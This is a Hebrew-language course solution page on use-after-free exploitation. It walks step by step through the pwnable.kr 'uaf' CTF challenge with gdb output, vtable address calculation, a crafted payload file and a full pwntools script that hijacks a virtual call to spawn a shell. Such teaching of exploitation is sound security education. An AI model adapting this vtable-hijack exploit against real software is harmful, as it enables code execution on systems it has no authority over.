לדלג לתוכן

7.2 שימוש לאחר שחרור פתרון

פתרון - שימוש לאחר שחרור

נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, פלט gdb, וה-exploit המלא. הכתובות שמופיעות כאן הן מהבינארי של pwnable.kr; הן קבועות כי הבינארי הוא No PIE. תמיד תאמתו אותן בעצמכם ב-gdb לפני שתקשיחו אותן, כי גרסאות מהדר שונות עלולות לזוז.

פתרון תרגיל 1 - חימום מקומי על vtable

מהדרים את הדמו מההרצאה ובודקים הגנות:

$ g++ -no-pie -o vuln vuln.cpp
$ checksec --file=./vuln
RELRO           STACK CANARY   NX            PIE
Partial RELRO   Canary found   NX enabled    No PIE

עוקבים אחרי ה-vptr לאורך שלושת הצעדים ב-gdb:

$ gdb ./vuln
pwndbg> b main
pwndbg> run
pwndbg> ni        # until after new Human()
pwndbg> x/gx m
0x4052a0:  0x0000000000404d50     # valid vptr -> vtable of Human (slot0)

בוחרים 3 (free) וממשיכים, ואז מסתכלים שוב:

pwndbg> x/gx m
0x4052a0:  0x0000000000000000     # the vptr was overwritten by the fd pointer of the bin (here NULL)

זו ההוכחה החיה למה שאמרנו בהרצאה: עצם ה-free השחית את ה-vptr. אם נקרא ל-use עכשיו, m->introduce() יקרוס. אחרי ההקצאה שממחזרת ומוילאת, ה-vptr הופך למה שאנחנו כתבנו, ו-[vptr+8] מקפיץ ל-give_shell. הסקריפט מההרצאה סוגר את המעגל ופותח shell.

למה זה עבד: ראינו את שלושת השלבים בעיניים - שחרור שמשחית vptr, מיחזור שכותב vptr מזויף, וקריאה וירטואלית שקופצת ליעד שלנו. איך להכליל: כל UAF על אובייקט C++ מתנהג ככה - הבית הראשון הוא ה-vptr, והוא היעד.

פתרון תרגיל 2 - קריאת המקור

התשובות מתוך uaf.cpp:

  1. use קורא m->introduce() ואז w->introduce(). after מקצה new char[atoi(argv[1])] וקורא לתוכו מהקובץ argv[2]. free עושה delete m; delete w;.
  2. אופציה 3 משחררת שני אובייקטים: קודם m ואז w. לכן ב-bin הראש הוא w (שוחרר אחרון) ואחריו m.
  3. הגודל מגיע מ-argv[1] דרך atoi, והתוכן מהקובץ ב-argv[2] דרך read. אנחנו שולטים בשניהם - זה בדיוק מה שהופך את האתגר לפריך.
  4. גודל האובייקט הוא 24 בתים (0x18): vptr (8) + int age עם alignment padding (8) + string מסוג ישן, מצביע יחיד (8). לכן new char[24] נופל לאותה מחלקת גודל כמו האובייקט (chunk 0x20).
  5. במחלקה Human, give_shell מוכרזת ראשונה -> slot 0, ו-introduce שנייה -> slot 1.

אימות גודל האובייקט ב-gdb - שמים breakpoint על ה-operator new ובודקים את הארגומנט (הגודל) ב-rdi:

pwndbg> b _Znwm
pwndbg> run 24 /tmp/pwn
pwndbg> p $rdi
$1 = 24

למה זה חשוב: ה-24 הזה הוא בדיוק המספר שנעביר ב-argv[1]. הקצאה בגודל אחר תיפול ל-bin אחר ולא תמחזר את האובייקט.

פתרון תרגיל 3 - מציאת הכתובת לכתיבה

קודם כתובת הפונקציה עצמה (רק כדי לזהות אותה בטבלה):

$ nm uaf | grep -i give_shell
0000000000400ec4 W _ZN5Human10give_shellEv

עכשיו הכתובת שבאמת מעניינת אותנו - ה-vptr האמיתי (כתובת slot 0). עוצרים אחרי שהאובייקטים נוצרים ומסתכלים על m:

$ gdb ./uaf
pwndbg> b *main+???      # after both new calls; or just b main; then a few ni
pwndbg> run 24 /tmp/pwn
pwndbg> x/gx m
0x...:  0x0000000000401570     # the vptr = address of slot 0
pwndbg> x/2gx 0x401570
0x401570:  0x0000000000400ec4  <_ZN5Human10give_shellEv>   # slot 0 = give_shell
0x401578:  0x0000000000400f52  <_ZN3Man9introduceEv>       # slot 1 = introduce

מצוין. slot 0 יושב ב-0x401570 ומכיל את give_shell (0x400ec4). הקריאה של introduce מבצעת call [vptr+8]. אנחנו רוצים ש-[vptr+8] יהיה give_shell, כלומר ש-vptr+8 יצביע ל-0x401570. לכן:

fake vptr = 0x401570 - 8 = 0x401568

זו הכתובת שנכתוב לבית הראשון של האובייקט הממוחזר.

למה זה עבד: מיחזרנו את ה-vtable האמיתי במקום לבנות אחד מזויף. בהזזה של 8 בתים אחורה, מה ש-introduce חושב שהוא slot 1 הוא בעצם slot 0 = give_shell. איך להכליל: הנוסחה תמיד slot_של_היעד - (offset_ה-slot_שנקרא). כאן היעד הוא slot 0 והקריאה היא ל-slot 1 (offset 8), אז מחסירים 8.

פתרון תרגיל 4 - בניית הקובץ וההרצה הידנית

יוצרים קובץ עם ה-vptr המזויף 0x401568 ב-little-endian:

$ python3 -c "import sys; sys.stdout.buffer.write(b'\x68\x15\x40\x00\x00\x00\x00\x00')" > /tmp/pwn
# or in short:
$ echo -ne '\x68\x15\x40\x00\x00\x00\x00\x00' > /tmp/pwn

מריצים עם הגודל 24 בתור argv[1] והקובץ בתור argv[2], ולוחצים על התפריט בסדר הזה:

$ ./uaf 24 /tmp/pwn
1. use
2. after
3. free
3            <-- free: frees m and w (both to the bin, head is w)
1. use
2. after
3. free
2            <-- after: allocates 24 bytes -> recycles w, writes it a fake vptr
your data is allocated
1. use
2. after
3. free
2            <-- after: allocates another 24 bytes -> recycles m, writes it a fake vptr
your data is allocated
1. use
2. after
3. free
1            <-- use: m->introduce() calls [vptr+8] = give_shell -> shell!
$ id
uid=1000(uaf) ...
$ cat flag

הסדר קריטי: 3, 2, 2, 1. שחרור אחד, שתי הקצאות, ואז שימוש.

למה שתי הקצאות ולא אחת? כי free השחית את ה-vptr של שני האובייקטים (הכניס להם מצביע fd). הקצאה ראשונה ממחזרת את w (ראש ה-bin) וכותבת לו vptr טוב; הקצאה שנייה ממחזרת את m וכותבת לו vptr טוב. אופציה 1 קוראת m->introduce() תחילה, אז m חייב להיות ממוחזר. אם היינו מקצים פעם אחת בלבד, m היה נשאר עם vptr זבל ו-use היה קורס לפני שהגיע ל-give_shell.

אם מזינים את הפקודות דרך pipe (למשל בסקריפט shell), מסיימים ב-cat כדי להשאיר את ה-stdin פתוח ל-shell שנפתח:

$ (echo 3; echo 2; echo 2; echo 1; cat) | ./uaf 24 /tmp/pwn

למה זה עבד: מיחזרנו את שני הבלוקים המשוחררים והחלפנו את ה-vptr שלהם ב-0x401568, כך שהקריאה הווירטואלית הראשונה קפצה ל-give_shell. איך להכליל: זה דפוס העבודה של כל UAF-vtable - שחרר, מחזר-ומלא את כל האובייקטים שייגעו בהם, ואז הפעל את הקריאה הווירטואלית.

פתרון תרגיל 5 - אוטומציה עם pwntools

הסקריפט המלא. הוא מכין את הקובץ, מריץ עם הארגומנטים הנכונים, שולח את רצף התפריט ופותח shell:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./uaf')

# fake vptr = slot0 minus 8. Computed from the vtable symbol if it exists, otherwise a hardcoded value from gdb.
try:
    fake_vptr = elf.symbols['_ZTV3Man'] + 8      # (vtable+16) - 8 = slot0 - 8
except KeyError:
    fake_vptr = 0x401568                          # from gdb: slot0 (0x401570) - 8

# write the file that the binary will read (argv[2])
with open('/tmp/pwn', 'wb') as f:
    f.write(p64(fake_vptr))                        # the first 8 bytes = the vptr

# uaf is an SSH challenge: there is no network port. Run the script on the server itself (after
# connecting via ssh) as a local process, or run it against an identical copy of the binary on your machine.
p = process(['./uaf', '24', '/tmp/pwn'])
p.sendlineafter(b'3. free', b'3')                  # free -> dangling pointers
p.sendlineafter(b'3. free', b'2')                  # after -> recycles w
p.sendlineafter(b'3. free', b'2')                  # after -> recycles m
p.sendlineafter(b'3. free', b'1')                  # use  -> give_shell
p.interactive()

הרצה מקומית של עותק זהה של הבינארי:

$ python3 exploit.py
[*] '/home/uaf/uaf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './uaf': pid 12345
[*] Switching to interactive mode
$ id
uid=1000(uaf) ...
$ cat flag

הערה על ה-vtable של Woman: אנחנו כותבים את אותו 0x401568 גם ל-m וגם ל-w. עבור m זה slot0 של Man, עבור w הקריאה תגיע גם היא ל-give_shell דרך אותו slot. אבל מכיוון ש-m->introduce() נקרא ראשון, ה-shell נפתח עוד לפני ש-w בכלל נוגע - החשיבות של החלפת שניהם היא רק למנוע קריסה על vptr זבל.

למה זה עבד: sendlineafter מסנכרן אותנו מול הדפסות התפריט, שתי ההקצאות ממחזרות את שני האובייקטים, וה-vptr המזויף מפנה את הקריאה הווירטואלית ל-give_shell. איך להכליל: זה השלד לכל אתגר UAF-vtable - החליפו את מספר ההקצאות ואת ערך ה-slot לפי המבנה של האובייקט ביעד, והשאר זהה.